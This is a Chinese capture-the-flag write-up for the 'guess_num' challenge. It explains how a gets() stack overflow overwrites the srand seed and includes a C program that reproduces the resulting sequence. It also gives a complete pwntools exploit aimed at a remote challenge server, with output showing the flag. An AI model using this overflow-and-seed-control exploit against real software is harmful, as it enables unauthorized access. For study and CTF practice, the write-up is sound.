guess_num 攻防世界

解题

如果每次设置的种子都相同,那么生成的伪随机数列是相同的。

通过v7栈溢出覆盖seed，使得生成的随机数序列是确定值。

```
1  __int64 __fastcall main(int a1, char **a2, char **a3)
2  {
3    int v4; // [rsp+4h] [rbp-3Ch] BYREF
4    int i; // [rsp+8h] [rbp-38h]
5    int v6; // [rsp+Ch] [rbp-34h]
6    char v7[32]; // [rsp+10h] [rbp-30h] BYREF
7    unsigned int seed[2]; // [rsp+30h] [rbp-10h]
8    unsigned __int64 v9; // [rsp+38h] [rbp-8h]
9
10   v9 = __readfsqword(0x28u);
11   setbuf(stdin, 0LL);
12   setbuf(stdout, 0LL);
13   setbuf(stderr, 0LL);
14   v4 = 0;
15   v6 = 0;
16   *(_QWORD *)seed = sub_BB0();
17   puts("-------------------------------");
18   puts("Welcome to a guess number game!");
19   puts("-------------------------------");
20   puts("Please let me know your name!");
21   printf("Your name:");
22   gets(v7);
23   srand(seed[0]);
24   for ( i = 0; i <= 9; ++i )
25   {
26     v6 = rand() % 6 + 1;
27     printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
28     printf("Please input your guess number:");
29     __isoc99_scanf("%d", &v4);
30     puts("-------------------------------");
31     if ( v4 != v6 )
32     {
33       puts("GG!");
34       exit(1);
35     }
36     puts("Success!");
37   }
38   sub_C3E();
39   return 0LL;
40 }
```

```
1  __int64 sub_C3E()
2  {
3    printf("You are a prophet!\nHere is your flag!");
4    system("cat flag");
5    return 0LL;
6  }
```

C语言复现生成随机数的过程，seed占四个字节，全部覆盖为'a'，即0x61616161。

C

```c
#include <stdio.h>
#include <stdlib.h>
int main(){
        unsigned int seed = 0x61616161;
    srand(seed);
    for (int i = 0; i <= 9; ++i )
    {
        printf("%d",rand() % 6 + 1);
    }
    printf("\n")
}
```

linux下运行后得到随机序列：5646623622

Python

```python
from pwn import *
#context.log_level = 'debug'
p = remote('111.200.241.243',56584)
#p = process('./pwn')
payload = 'a'*0x20 + 'a'*0x04
p.sendlineafter('name:',payload)
#sequence:5646623622
for i in "5646623622":
    p.sendlineafter('number:',i)
p.interactive()
```

```
root@ams:/home/ams/ctf# python exp.py
[+] Opening connection to 111.200.241.243 on port 56584: Done
[*] Switching to interactive mode
--------------------------------
Success!
You are a prophet!
Here is your flag!cyberpeace{0dd2577da7a2f4ecb8b6b1d4ff0b28f5}
[*] Got EOF while reading in interactive
$
```